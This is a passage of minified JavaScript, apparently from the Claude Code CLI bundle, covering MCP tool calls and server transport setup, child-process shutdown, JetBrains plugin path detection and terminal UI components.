Promise.all(A.content.map((w)=>VD7(w,q)))).flat();return{content:z,type:"contentArray",schema:r$1(z)}}}let Y=`MCP server "${q}" tool "${K}": unexpected response format`;throw O2(q,Y),new dg(Y)}function FLY(A){if(!A||typeof A==="string")return!1;return A.some((K)=>K.type==="image")}async function QLY(A,K,q){let{content:Y,type:z,schema:w}=await LM6(A,K,q);if(q==="ide")return Y;if(!await puA(Y))return Y;if(J2(process.env.ENABLE_MCP_LARGE_OUTPUT_FILES))return await FW6(Y);if(!Y)return Y;if(FLY(Y))return await FW6(Y);let H=Date.now(),J=`mcp-${w3(q)}-${w3(K)}-${H}`,O=typeof Y==="string"?Y:UA(Y,null,2),X=await jqA(O,J);if(MqA(X))return`Error: result (${O.length.toLocaleString()} characters) exceeds maximum allowed tokens. Failed to save output to file: ${X.error}. If this MCP server provides pagination or filtering tools, use them to retrieve specific portions of the data.`;let $=HX1(z,w);return JX1(X.filepath,X.originalSize,$)}async function fD7({client:{client:A,name:K},tool:q,args:Y,meta:z,signal:w}){let H=Date.now(),J,O;try{if(b6(K,`Calling MCP tool: ${q}`),J=setInterval(()=>{let M=Date.now()-H,f=`${Math.floor(M/1000)}s`;b6(K,`Tool '${q}' still running (${f} elapsed)`)},30000),VJ7())O=setInterval(()=>{PJ7()},50000);let X=FqA(),$,_=new Promise((M,P)=>{$=setTimeout(()=>{P(new dg(`MCP server "${K}" tool "${q}" timed out after ${Math.floor(X/1000)}s`))},X)}),G=await Promise.race([A.callTool({name:q,arguments:Y,_meta:z},mM,{signal:w,timeout:X}),_]).finally(()=>{if($)clearTimeout($)});if("isError"in G&&G.isError){let M="Unknown error";if("content"in G&&Array.isArray(G.content)&&G.content.length>0){let P=G.content[0];if(P&&typeof P==="object"&&"text"in P)M=P.text}else if("error"in G)M=String(G.error);throw O2(K,M),new dg(M,`MCP server "${K}" tool "${q}": returned error`)}let Z=Date.now()-H,W=Z<1000?`${Z}ms`:Z<60000?`${Math.floor(Z/1000)}s`:`${Math.floor(Z/60000)}m ${Math.floor(Z%60000/1000)}s`;b6(K,`Tool '${q}' completed successfully in ${W}`);let D=gZ7(K);if(D)n("tengu_code_indexing_tool_used",{tool:D,source:"mcp",success:!0});return{content:await QLY(G,q,K),_meta:G._meta,structuredContent:G.structuredContent}}catch(X){if(J!==void 0)clearInterval(J);if(O!==void 0)clearInterval(O);let $=Date.now()-H;if(X instanceof Error&&X.name!=="AbortError")b6(K,`Tool '${q}' failed after ${Math.floor($/1000)}s: ${X.message}`);if(X instanceof Error){if(("code"in X?X.code:void 0)===401||X instanceof vG)throw b6(K,"Tool call returned 401 Unauthorized - token may have expired"),n("tengu_mcp_tool_call_auth_error",{}),new o$1(K,`MCP server "${K}" requires re-authorization (token expired)`)}if(!(X instanceof Error)||X.name!=="AbortError")throw X;return{content:void 0}}finally{if(J!==void 0)clearInterval(J);if(O!==void 0)clearInterval(O)}}function ULY(A){if(A.message.content[0]?.type!=="tool_use")return;return A.message.content[0].id}async function ND7(A,K){let q=[],Y=[],z=await Promise.allSettled(Object.entries(A).map(async([w,H])=>{let J=new vM6(w,K),O=new m01({name:"claude-code",version:{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION??"unknown"},{capabilities:{}});try{await O.connect(J);let X=O.getServerCapabilities(),$={type:"connected",name:w,capabilities:X||{},client:O,config:{...H,scope:"dynamic"},cleanup:async()=>{await O.close()}},_=[];if(X?.tools){let G=await QI($);_.push(...G)}return{client:$,tools:_}}catch(X){return O2(w,`Failed to connect SDK MCP server: ${X}`),{client:{type:"failed",name:w,config:{...H,scope:"user"}},tools:[]}}}));for(let w of z)if(w.status==="fulfilled")q.push(w.value.client),Y.push(...w.value.tools);return{clients:q,tools:Y}}var o$1,uLY,MD7=60000,mLY,cC,QI,lBA,iBA,s$1;var Vf=k(()=>{p7();axA();rH7();aH7();WJ7();jJ7();G_();RZ8();C1();iw();JG();l1();iH();q6();x4();uz();R2();ja();wX1();QW6();Pa();l6();W$();zM6();FZ7();r0A();TQ();Jz();Au();JW7();h$1();b$1();dBA();iM();GD7();UuA();IG();lu();WD7();b1();o$1=class o$1 extends Error{serverName;constructor(A,K){super(K);this.name="McpAuthError",this.serverName=A}};uLY=new Set(["image/jpeg","image/png","image/gif","image/webp"]);mLY=["mcp__ide__executeCode","mcp__ide__getDiagnostics"];cC=z6(async(A,K,q)=>{let Y=Date.now();try{let z,w=iT();if(K.type==="sse"){let y=new gqA(A,K),B=await i$1(A,K),b={authProvider:y,fetch:EM6(WqA()),requestInit:{headers:{"User-Agent":nn(),...B}}};b.eventSourceInit={fetch:async(F,Q)=>{let u={},d=await y.tokens();if(d)u.Authorization=`Bearer ${d.access_token}`;let r=s8A();return fetch(F,{...Q,...r,headers:{"User-Agent":nn(),...u,...Q?.headers,...B,Accept:"text/event-stream"}})}},z=new KX1(new URL(K.url),b),b6(A,"SSE transport initialized, awaiting connection")}else if(K.type==="sse-ide"){b6(A,`Setting up SSE-IDE transport to ${K.url}`);let y=s8A(),B=y.dispatcher?{eventSourceInit:{fetch:async(b,F)=>{return fetch(b,{...F,...y,headers:{"User-Agent":nn(),...F?.headers}})}}}:{};z=new KX1(new URL(K.url),Object.keys(B).length>0?B:void 0)}else if(K.type==="ws-ide"){let y=C46(),B={headers:{"User-Agent":nn(),...K.authToken&&{"X-Claude-Code-Ide-Authorization":K.authToken}},agent:a8A(K.url),...y||{}},b=new oxA.default(K.url,["mcp"],Object.keys(B).length>0?B:void 0);z=new E$1(b)}else if(K.type==="ws"){b6(A,`Initializing WebSocket transport to ${K.url}`);let y=await i$1(A,K),B=C46(),b={headers:{"User-Agent":nn(),...w&&{Authorization:`Bearer ${w}`},...y},agent:a8A(K.url),...B||{}},F=Object.fromEntries(Object.entries(b.headers).map(([u,d])=>u.toLowerCase()==="authorization"?[u,"[REDACTED]"]:[u,d]));b6(A,`WebSocket transport options: ${UA({url:K.url,headers:F,hasSessionAuth:!!w})}`);let Q=new oxA.default(K.url,["mcp"],Object.keys(b).length>0?b:void 0);z=new E$1(Q)}else if(K.type==="http"){b6(A,`Initializing HTTP transport to ${K.url}`),b6(A,`Node version: ${process.version}, Platform: ${process.platform}`),b6(A,`Environment: ${UA({NODE_OPTIONS:process.env.NODE_OPTIONS||"not set",UV_THREADPOOL_SIZE:process.env.UV_THREADPOOL_SIZE||"default",HTTP_PROXY:process.env.HTTP_PROXY||"not set",HTTPS_PROXY:process.env.HTTPS_PROXY||"not set",NO_PROXY:process.env.NO_PROXY||"not set"})}`);let y=new gqA(A,K),B=await i$1(A,K),b=s8A();b6(A,`Proxy options: ${b.dispatcher?"custom dispatcher":"default"}`);let F={authProvider:y,fetch:EM6(WqA()),requestInit:{...b,headers:{"User-Agent":nn(),...w&&{Authorization:`Bearer ${w}`},...B}}},Q=F.requestInit?.headers?Object.fromEntries(Object.entries(F.requestInit.headers).map(([u,d])=>u.toLowerCase()==="authorization"?[u,"[REDACTED]"]:[u,d])):void 0;b6(A,`HTTP transport options: ${UA({url:K.url,headers:Q,hasAuthProvider:!!y,timeoutMs:MD7})}`),z=new qX1(new URL(K.url),F),b6(A,"HTTP transport created successfully")}else if(K.type==="sdk")throw Error("SDK servers should be handled in print.ts");else if(K.type==="claudeai-proxy"){if(b6(A,`Initializing claude.ai proxy transport for server ${K.id}`),!LK())throw Error("No claude.ai OAuth token found");let B=E7(),b=`${B.MCP_PROXY_URL}${B.MCP_PROXY_PATH.replace("{server_id}",K.id)}`;b6(A,`Using claude.ai proxy at ${b}`);let F=async(d,r)=>{await rZ();let c=LK();if(!c)throw Error("No claude.ai OAuth token available");let YA=new Headers(r?.headers);return YA.set("Authorization",`Bearer ${c.accessToken}`),globalThis.fetch(d,{...r,headers:YA})},Q=s8A(),u={fetch:EM6(F),requestInit:{...Q,headers:{"User-Agent":nn(),"X-Mcp-Client-Session-Id":d1()}}};z=new qX1(new URL(b),u),b6(A,"claude.ai proxy transport created successfully")}else if(K.type==="stdio"||!K.type){let y=process.env.CLAUDE_CODE_SHELL_PREFIX||K.command,B=process.env.CLAUDE_CODE_SHELL_PREFIX?[[K.command,...K.args].join(" ")]:K.args;z=new GW6({command:y,args:B,env:{...process.env,...K.env},stderr:"pipe"})}else throw Error(`Unsupported server type: ${K.type}. claude.ai MCP servers require ENABLE_CLAUDEAI_MCP_SERVERS=true.`);let H,J="";if(K.type==="stdio"||!K.type){let y=z;if(y.stderr)H=(B)=>{J+=B.toString()},y.stderr.on("data",H)}let O=new m01({name:"claude-code",version:{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION??"unknown"},{capabilities:{roots:{},...{}}});if(K.type==="http")b6(A,"Client created, setting up request handler");if(O.setRequestHandler(xG6,async()=>{return b6(A,"Received ListRoots request from server"),{roots:[{uri:`file://${V8()}`}]}}),b6(A,`Starting connection with timeout of ${n$1()}ms`),K.type==="http"){b6(A,`Testing basic HTTP connectivity to ${K.url}`);try{let y=new URL(K.url);if(b6(A,`Parsed URL: host=${y.hostname}, port=${y.port||"default"}, protocol=${y.protocol}`),y.hostname==="127.0.0.1"||y.hostname==="localhost")b6(A,`Using loopback address: ${y.hostname}`)}catch(y){b6(A,`Failed to parse URL: ${y}`)}}let X=O.connect(z),$=new Promise((y,B)=>{let b=setTimeout(()=>{let F=Date.now()-Y;b6(A,`Connection timeout triggered after ${F}ms (limit: ${n$1()}ms)`),z.close().catch(()=>{}),B(new dg(`MCP server "${A}" connection timed out after ${n$1()}ms`))},n$1());X.then(()=>{clearTimeout(b)},(F)=>{clearTimeout(b)})});try{if(await Promise.race([X,$]),J)O2(A,`Server stderr: ${J}`);let y=Date.now()-Y;b6(A,`Successfully connected to ${K.type} server in ${y}ms`)}catch(y){let B=Date.now()-Y;if(K.type==="sse"&&y instanceof Error){if(b6(A,`SSE Connection failed after ${B}ms: ${UA({url:K.url,error:y.message,errorType:y.constructor.name,stack:y.stack})}`),O2(A,y),y instanceof vG)return n("tengu_mcp_server_needs_auth",{transportType:"sse",...H0(K)?{mcpServerBaseUrl:H0(K)}:{}}),b6(A,"Authentication required for SSE server"),{name:A,type:"needs-auth",config:K}}else if(K.type==="http"&&y instanceof Error){let b=y;if(b6(A,`HTTP Connection failed after ${B}ms: ${y.message} (code: ${b.code||"none"}, errno: ${b.errno||"none"})`),O2(A,y),y instanceof vG)return n("tengu_mcp_server_needs_auth",{transportType:"http",...H0(K)?{mcpServerBaseUrl:H0(K)}:{}}),b6(A,"Authentication required for HTTP server"),{name:A,type:"needs-auth",config:K}}else if(K.type==="claudeai-proxy"&&y instanceof Error){if(b6(A,`claude.ai proxy connection failed after ${B}ms: ${y.message}`),O2(A,y),y.code===401)return n("tengu_mcp_server_needs_auth",{transportType:"claudeai-proxy",...H0(K)?{mcpServerBaseUrl:H0(K)}:{}}),b6(A,"Authentication required for claude.ai proxy server"),{name:A,type:"needs-auth",config:K}}else if(K.type==="sse-ide"||K.type==="ws-ide")n("tengu_mcp_ide_server_connection_failed",{connectionDurationMs:B});if(z.close().catch(()=>{}),J)O2(A,`Server stderr: ${J}`);throw y}let _=O.getServerCapabilities(),G=O.getServerVersion(),Z=O.getInstructions();if(b6(A,`Connection established with capabilities: ${UA({hasTools:!!_?.tools,hasPrompts:!!_?.prompts,hasResources:!!_?.resources,serverVersion:G||"unknown"})}`),K.type==="sse-ide"||K.type==="ws-ide"){let y=Date.now()-Y;n("tengu_mcp_ide_server_connection_succeeded",{connectionDurationMs:y,serverVersion:G});try{TD7(O)}catch(B){O2(A,`Failed to send ide_connected notification: ${B}`)}}let W=Date.now(),D=!1,j=O.onerror,M=O.onclose,P=0,f=3,N=(y)=>{return y.includes("ECONNRESET")||y.includes("ETIMEDOUT")||y.includes("EPIPE")||y.includes("EHOSTUNREACH")||y.includes("ECONNREFUSED")||y.includes("Body Timeout Error")||y.includes("terminated")};O.onerror=(y)=>{let B=Date.now()-W;D=!0;let b=K.type||"stdio";if(b6(A,`${b.toUpperCase()} connection dropped after ${Math.floor(B/1000)}s uptime`),y.message)if(y.message.includes("ECONNRESET"))b6(A,"Connection reset - server may have crashed or restarted");else if(y.message.includes("ETIMEDOUT"))b6(A,"Connection timeout - network issue or server unresponsive");else if(y.message.includes("ECONNREFUSED"))b6(A,"Connection refused - server may be down");else if(y.message.includes("EPIPE"))b6(A,"Broken pipe - server closed connection unexpectedly");else if(y.message.includes("EHOSTUNREACH"))b6(A,"Host unreachable - network connectivity issue");else if(y.message.includes("ESRCH"))b6(A,"Process not found - stdio server process terminated");else if(y.message.includes("spawn"))b6(A,"Failed to spawn process - check command and permissions");else b6(A,`Connection error: ${y.message}`);if(b==="sse"||b==="http"||b==="claudeai-proxy")if(N(y.message)){if(P++,b6(A,`Terminal connection error ${P}/${f}`),P>=f)b6(A,"Max consecutive errors reached, triggering reconnection via onclose"),P=0,O.onclose?.()}else P=0;if(j)j(y)},O.onclose=()=>{let y=Date.now()-W,B=K.type??"unknown";b6(A,`${B.toUpperCase()} connection closed after ${Math.floor(y/1000)}s (${D?"with errors":"cleanly"})`);let b=kM6(A,K);if(cC.cache.delete(b),b6(A,"Cleared connection cache for reconnection"),M)M()};let T=async()=>{if(H&&(K.type==="stdio"||!K.type))z.stderr?.off("data",H);if(K.type==="stdio")try{let B=z.pid;if(B){b6(A,"Sending SIGINT to MCP server process");try{process.kill(B,"SIGINT")}catch(b){b6(A,`Error sending SIGINT: ${b}`);return}await new Promise(async(b)=>{let F=!1,Q=setInterval(()=>{try{process.kill(B,0)}catch{if(!F)F=!0,clearInterval(Q),clearTimeout(u),b6(A,"MCP server process exited cleanly"),b()}},50),u=setTimeout(()=>{if(!F)F=!0,clearInterval(Q),b6(A,"Cleanup timeout reached, stopping process monitoring"),b()},600);try{if(await new Promise((d)=>setTimeout(d,100)),!F){try{process.kill(B,0),b6(A,"SIGINT failed, sending SIGTERM to MCP server process");try{process.kill(B,"SIGTERM")}catch(d){b6(A,`Error sending SIGTERM: ${d}`),F=!0,clearInterval(Q),clearTimeout(u),b();return}}catch{F=!0,clearInterval(Q),clearTimeout(u),b();return}if(await new Promise((d)=>setTimeout(d,400)),!F)try{process.kill(B,0),b6(A,"SIGTERM failed, sending SIGKILL to MCP server process");try{process.kill(B,"SIGKILL")}catch(d){b6(A,`Error sending SIGKILL: ${d}`)}}catch{F=!0,clearInterval(Q),clearTimeout(u),b()}}if(!F)F=!0,clearInterval(Q),clearTimeout(u),b()}catch{if(!F)F=!0,clearInterval(Q),clearTimeout(u),b()}})}}catch(y){b6(A,`Error terminating process: ${y}`)}try{await O.close()}catch(y){b6(A,`Error closing client: ${y}`)}},C=kK(T),R=async()=>{C?.(),await T()},x=Date.now()-Y;return n("tengu_mcp_server_connection_succeeded",{connectionDurationMs:x,transportType:K.type??"stdio",totalServers:q?.totalServers,stdioCount:q?.stdioCount,sseCount:q?.sseCount,httpCount:q?.httpCount,sseIdeCount:q?.sseIdeCount,wsIdeCount:q?.wsIdeCount,...H0(K)?{mcpServerBaseUrl:H0(K)}:{}}),{name:A,client:O,type:"connected",capabilities:_??{},serverInfo:G,instructions:Z,config:K,cleanup:R}}catch(z){let w=Date.now()-Y;return n("tengu_mcp_server_connection_failed",{connectionDurationMs:w,totalServers:q?.totalServers||1,stdioCount:q?.stdioCount||(K.type==="stdio"?1:0),sseCount:q?.sseCount||(K.type==="sse"?1:0),httpCount:q?.httpCount||(K.type==="http"?1:0),sseIdeCount:q?.sseIdeCount||(K.type==="sse-ide"?1:0),wsIdeCount:q?.wsIdeCount||(K.type==="ws-ide"?1:0),transportType:K.type??"stdio",...H0(K)?{mcpServerBaseUrl:H0(K)}:{}}),b6(A,`Connection failed after ${w}ms: ${z instanceof Error?z.message:String(z)}`),O2(A,`Connection failed: ${z instanceof Error?z.message:String(z)}`),{name:A,type:"failed",config:K,error:z instanceof Error?z.message:String(z)}}},kM6);QI=z6(async(A)=>{if(A.type!=="connected")return[];try{if(!A.capabilities?.tools)return[];let K=await A.client.request({method:"tools/list"},HuA),q=Ma(K.tools),Y=A.config.type==="sdk"&&P1(process.env.CLAUDE_AGENT_SDK_MCP_NO_PREFIX);return q.map((z)=>({...HW7,name:Y?z.name:`mcp__${w3(A.name)}__${w3(z.name)}`,originalMcpToolName:z.name,isMcp:!0,async description(){return z.description??""},async prompt(){return z.description??""},isConcurrencySafe(){return z.annotations?.readOnlyHint??!1},isReadOnly(){return z.annotations?.readOnlyHint??!1},isDestructive(){return z.annotations?.destructiveHint??!1},isOpenWorld(){return z.annotations?.openWorldHint??!1},inputJSONSchema:z.inputSchema,async checkPermissions(){return{behavior:"passthrough",message:"MCPTool requires permission.",suggestions:[{type:"addRules",rules:[{toolName:Y?z.name:`mcp__${w3(A.name)}__${w3(z.name)}`,ruleContent:void 0}],behavior:"allow",destination:"localSettings"}]}},async call(w,H,J,O,X){let $=ULY(O),_=$?{"claudecode/toolUseId":$}:{};if(X&&$)X({toolUseID:$,data:{type:"mcp_progress",status:"started",serverName:A.name,toolName:z.name}});let G=Date.now();try{let Z=await oZA(A),W=await fD7({client:Z,tool:z.name,args:w,meta:_,signal:H.abortController.signal});if(X&&$)X({toolUseID:$,data:{type:"mcp_progress",status:"completed",serverName:A.name,toolName:z.name,elapsedTimeMs:Date.now()-G}});return{data:W.content,...W._meta||W.structuredContent?{mcpMeta:{...W._meta&&{_meta:W._meta},...W.structuredContent&&{structuredContent:W.structuredContent}}}:{}}}catch(Z){if(X&&$)X({toolUseID:$,data:{type:"mcp_progress",status:"failed",serverName:A.name,toolName:z.name,elapsedTimeMs:Date.now()-G}});throw Z}},userFacingName(){let w=z.annotations?.title||z.name;return`${A.name} - ${w} (MCP)`},...jZA(A.name)?ZD7(z.name):{}})).filter(gLY)}catch(K){return O2(A.name,`Failed to fetch tools: ${K instanceof Error?K.message:String(K)}`),[]}}),lBA=z6(async(A)=>{if(A.type!=="connected")return[];try{if(!A.capabilities?.resources)return[];let K=await A.client.request({method:"resources/list"},zqA);if(!K.resources)return[];return K.resources.map((q)=>({...q,server:A.name}))}catch(K){return O2(A.name,`Failed to fetch resources: ${K instanceof Error?K.message:String(K)}`),[]}}),iBA=z6(async(A)=>{if(A.type!=="connected")return[];try{if(!A.capabilities?.prompts)return[];let K=await A.client.request({method:"prompts/list"},zuA);if(!K.prompts)return[];return Ma(K.prompts).map((Y)=>{let z=Object.values(Y.arguments??{}).map((w)=>w.name);return{type:"prompt",name:"mcp__"+w3(A.name)+"__"+Y.name,description:Y.description??"",hasUserSpecifiedDescription:!!Y.description,contentLength:0,isEnabled:()=>!0,isHidden:!1,isMcp:!0,progressMessage:"running",userFacingName(){return`${A.name}:${Y.name} (MCP)`},argNames:z,source:"mcp",async getPromptForCommand(w){let H=w.split(" ");try{let J=await oZA(A),O=await J.client.getPrompt({name:Y.name,arguments:LZ8(z,H)});return(await Promise.all(O.messages.map(($)=>VD7($.content,J.name)))).flat()}catch(J){throw O2(A.name,`Error running command '${Y.name}': ${J instanceof Error?J.message:String(J)}`),J}}}})}catch(K){return O2(A.name,`Failed to fetch commands: ${K instanceof Error?K.message:String(K)}`),[]}});s$1=z6(async(A)=>{return new Promise((K)=>{let q=0,Y=0;if(q=Object.keys(A).length,q===0){K({clients:[],tools:[],commands:[]});return}let z=[],w=[],H=[];a$1((J)=>{if(z.push(J.client),w.push(...J.tools),H.push(...J.commands),Y++,Y>=q){let O=H.reduce((X,$)=>{let _=$.name.length+($.description??"").length+($.argumentHint??"").length;return X+_},0);n("tengu_mcp_tools_commands_loaded",{tools_count:w.length,commands_count:H.length,commands_metadata_length:O}),K({clients:z,tools:w,commands:H})}},A).catch((J)=>{O2("prefetchAllMcpResources",`Failed to get MCP resources: ${J instanceof Error?J.message:String(J)}`),K({clients:[],tools:[],commands:[]})})})})});import*as SG from"path";import*as nBA from"os";function dLY(A){let K=nBA.homedir(),q=[],Y=ED7[A.toLowerCase()];if(!Y)return q;let z=process.env.APPDATA||SG.join(K,"AppData","Roaming"),w=process.env.LOCALAPPDATA||SG.join(K,"AppData","Local");switch(nBA.platform()){case"darwin":if(q.push(SG.join(K,"Library","Application Support","JetBrains"),SG.join(K,"Library","Application Support")),A.toLowerCase()==="androidstudio")q.push(SG.join(K,"Library","Application Support","Google"));break;case"win32":if(q.push(SG.join(z,"JetBrains"),SG.join(w,"JetBrains"),SG.join(z)),A.toLowerCase()==="androidstudio")q.push(SG.join(w,"Google"));break;case"linux":q.push(SG.join(K,".config","JetBrains"),SG.join(K,".local","share","JetBrains"));for(let H of Y)q.push(SG.join(K,"."+H));if(A.toLowerCase()==="androidstudio")q.push(SG.join(K,".config","Google"));break;default:break}return q}function cLY(A){let K=[],q=BA(),Y=dLY(A),z=ED7[A.toLowerCase()];if(!z)return K;for(let w of Y){if(!q.existsSync(w))continue;for(let H of z)try{let J=new RegExp("^"+H+".*$"),O=q.readdirSync(w).filter((X)=>J.test(X.name)&&q.statSync(SG.join(w,X.name)).isDirectory()).map((X)=>SG.join(w,X.name));for(let X of O){let $=nBA.platform()==="linux"?X:SG.join(X,"plugins");if(q.existsSync($))K.push($)}}catch{continue}}return K.filter((w,H)=>K.indexOf(w)===H)}function RM6(A){let K=cLY(A);for(let q of K){let Y=SG.join(q,pLY);if(BA().existsSync(Y))return!0}return!1}function kD7(A,K=!1){if(K)vD7.cache.delete(A);return vD7(A)}var pLY="claude-code-jetbrains-plugin",ED7,vD7;var yM6=k(()=>{e6();p7();ED7={pycharm:["PyCharm"],intellij:["IntelliJIdea","IdeaIC"],webstorm:["WebStorm"],phpstorm:["PhpStorm"],rubymine:["RubyMine"],clion:["CLion"],goland:["GoLand"],rider:["Rider"],datagrip:["DataGrip"],appcode:["AppCode"],dataspell:["DataSpell"],aqua:["Aqua"],gateway:["Gateway"],fleet:["Fleet"],androidstudio:["AndroidStudio"]};vD7=z6(RM6)});function lLY(A){let K=s(15),{orientation:q,width:Y,dividerChar:z,dividerColor:w,dividerDimColor:H,boxProps:J}=A,O=q===void 0?"horizontal":q,X=Y===void 0?"auto":Y,$=H===void 0?!0:H,_=O==="vertical",G=z||(_?"│":"─");if(_){let D;if(K[0]!==G)D={topLeft:"",top:"",topRight:"",right:G,bottomRight:"",bottom:"",bottomLeft:"",left:""},K[0]=G,K[1]=D;else D=K[1];let j;if(K[2]!==J||K[3]!==w||K[4]!==$||K[5]!==D)j=Np.default.createElement(S,{height:"100%",borderStyle:D,borderColor:w,borderDimColor:$,borderBottom:!1,borderTop:!1,borderLeft:!1,borderRight:!0,...J}),K[2]=J,K[3]=w,K[4]=$,K[5]=D,K[6]=j;else j=K[6];return j}let Z;if(K[7]!==G)Z={topLeft:"",top:"",topRight:"",right:"",bottomRight:"",bottom:G,bottomLeft:"",left:""},K[7]=G,K[8]=Z;else Z=K[8];let W;if(K[9]!==J||K[10]!==w||K[11]!==$||K[12]!==Z||K[13]!==X)W=Np.default.createElement(S,{width:X,borderStyle:Z,borderColor:w,borderDimColor:$,flexGrow:1,borderBottom:!0,borderTop:!1,borderLeft:!1,borderRight:!1,...J}),K[9]=J,K[10]=w,K[11]=$,K[12]=Z,K[13]=X,K[14]=W;else W=K[14];return W}function iLY(A){let K=s(21),{orientation:q,title:Y,width:z,padding:w,titlePadding:H,titleColor:J,titleDimColor:O,dividerChar:X,dividerColor:$,dividerDimColor:_,boxProps:G}=A,Z=q===void 0?"horizontal":q,W=z===void 0?"auto":z,D=w===void 0?0:w,j=H===void 0?1:H,M=J===void 0?"text":J,P=O===void 0?!0:O,f=_===void 0?!0:_,N=Z==="vertical",C=X||(N?"│":"─"),R;if(K[0]!==G||K[1]!==$||K[2]!==f||K[3]!==Z||K[4]!==C)R=Np.default.createElement(lLY,{orientation:Z,dividerChar:C,dividerColor:$,dividerDimColor:f,boxProps:G}),K[0]=G,K[1]=$,K[2]=f,K[3]=Z,K[4]=C,K[5]=R;else R=K[5];let x=R;if(N)return x;if(!Y){let F;if(K[6]!==x||K[7]!==D)F=Np.default.createElement(S,{paddingLeft:D,paddingRight:D},x),K[6]=x,K[7]=D,K[8]=F;else F=K[8];return F}let y;if(K[9]!==Y)y=Np.default.createElement(a3,null,Y),K[9]=Y,K[10]=y;else y=K[10];let B;if(K[11]!==y||K[12]!==M||K[13]!==P)B=Np.default.createElement(S,null,Np.default.createElement(V,{color:M,dimColor:P},y)),K[11]=y,K[12]=M,K[13]=P,K[14]=B;else B=K[14];let b;if(K[15]!==x||K[16]!==D||K[17]!==B||K[18]!==j||K[19]!==W)b=Np.default.createElement(S,{flexDirection:"row",width:W,paddingLeft:D,paddingRight:D,gap:j},x,B,x),K[15]=x,K[16]=D,K[17]=B,K[18]=j,K[19]=W,K[20]=b;else b=K[20];return b}var Np,g3;var j$=k(()=>{cA();mA();Np=o($A(),1);g3=iLY});function Q6(A){let K=s(5),{action:q,context:Y,fallback:z,description:w,parens:H,bold:J}=A,O=cK(q,Y,z),X;if(K[0]!==J||K[1]!==w||K[2]!==H||K[3]!==O)X=IM6.createElement(M6,{shortcut:O,action:w,parens:H,bold:J}),K[0]=J,K[1]=w,K[2]=H,K[3]=O,K[4]=X;else X=K[4];return X}var IM6;var q5=k(()=>{cA();nK();Vz();IM6=o($A(),1)});function Y8(A){let K=s(5),{children:q}=A,Y,z;if(K[0]!==q){z=Symbol.for("react.early_return_sentinel");A:{let H=JB.Children.toArray(q);if(H.length===0){z=null;break A}Y=H.map(nLY)}K[0]=q,K[1]=Y,K[2]=z}else Y=K[1],z=K[2];if(z!==Symbol.for("react.early_return_sentinel"))return z;let w;if(K[3]!==Y)w=JB.default.createElement(JB.default.Fragment,null,Y),K[3]=Y,K[4]=w;else w=K[4];return w}function nLY(A,K){return JB.default.createElement(JB.default.Fragment,{key:JB.isValidElement(A)?A.key??K:K},K>0&&JB.default.createElement(V,{dimColor:!0}," · "),A)}var JB;var Dq=k(()=>{cA();mA();JB=o($A(),1)});function L4(A){let K=s(9),{title:q,subtitle:Y,children:z,onCancel:w,color:H,borderDimColor:J,hideInputGuide:O,hideBorder:X}=A,$;if(K[0]!==J||K[1]!==z||K[2]!==H||K[3]!==X||K[4]!==O||K[5]!==w||K[6]!==Y||K[7]!==q)$=JW.default.createElement(rLY,{title:q,subtitle:Y,onCancel:w,color:H,borderDimColor:J,hideInputGuide:O,hideBorder:X},z),K[0]=J,K[1]=z,K[2]=H,K[3]=X,K[4]=O,K[5]=w,K[6]=Y,K[7]=q,K[8]=$;else $=K[8];return $}function rLY(A){let K=s(27),{title:q,subtitle:Y,children:z,onCancel:w,color:H,borderDimColor:J,hideInputGuide:O,hideBorder:X}=A,$=H===void 0?"permission":H,_=J===void 0?!0:J,G=n8(),Z;if(K[0]===Symbol.for("react.memo_cache_sentinel"))Z={context:"Confirmation"},K[0]=Z;else Z=K[0];J6("confirm:no",w,Z);let W;if(K[1]!==_||K[2]!==$||K[3]!==X)W=!X&&JW.default.createElement(g3,{dividerColor:$,dividerDimColor:_}),K[1]=_,K[2]=$,K[3]=X,K[4]=W;else W=K[4];let D=X?0:1,j;if(K[5]!==$||K[6]!==q)j=JW.default.createElement(V,{bold:!0,color:$},q),K[5]=$,K[6]=q,K[7]=j;else j=K[7];let M;if(K[8]!==Y)M=Y&&JW.default.createElement(V,{dimColor:!0},Y),K[8]=Y,K[9]=M;else M=K[9];let P;if(K[10]!==j||K[11]!==M)P=JW.default.createElement(S,{flexDirection:"column"},j,M),K[10]=j,K[11]=M,K[12]=P;else P=K[12];let f;if(K[13]!==z||K[14]!==D||K[15]!==P)f=JW.default.createElement(S,{flexDirection:"column",paddingX:D,gap:1},P,z),K[13]=z,K[14]=D,K[15]=P,K[16]=f;else f=K[16];let N;if(K[17]!==W||K[18]!==f)N=JW.default.createElement(S,{flexDirection:"column",paddingBottom:1},W,f),K[17]=W,K[18]=f,K[19]=N;else N=K[19];let T;if(K[20]!==G||K[21]!==X||K[22]!==O)T=!O&&JW.default.createElement(S,{paddingX:X?0:1},JW.default.createElement(V,{dimColor:!0,italic:!0},G.pending?JW.default.createElement(JW.default.Fragment,null,"Press ",G.keyName," again to exit"):JW.default.createElement(Y8,null,JW.default.createElement(M6,{shortcut:"Enter",action:"confirm"}),JW.default.createElement(Q6,{action:"confirm:no",context:"Confirmation",fallback:"Esc",description:"cancel"})))),K[20]=G,K[21]=X,K[22]=O,K[23]=T;else T=K[23];let C;if(K[24]!==N||K[25]!==T)C=JW.default.createElement(JW.default.Fragment,null,N,T),K[24]=N,K[25]=T,K[26]=C;else C=K[26];return C}var JW;var t3=k(()=>{cA();mA();Iq();j$();nK();q5();Dq();C8();JW=o($A(),1)});function CD7(A){let K=s(23),{onDone:q,installationStatus:Y}=A;oLY();let z;if(K[0]!==q)z={"confirm:yes":q,"confirm:no":q},K[0]=q,K[1]=z;else z=K[1];let w;if(K[2]===Symbol.for("react.memo_cache_sentinel"))w={context:"Confirmation"},K[2]=w;else w=K[2];s4(z,w);let H;if(K[3]!==Y?.ideType)H=Y?.ideType??eZA(),K[3]=Y?.ideType,K[4]=H;else H=K[4];let J=H,O=UI(J),X;if(K[5]!==J)X=O0(J),K[5]=J,K[6]=X;else X=K[6];let 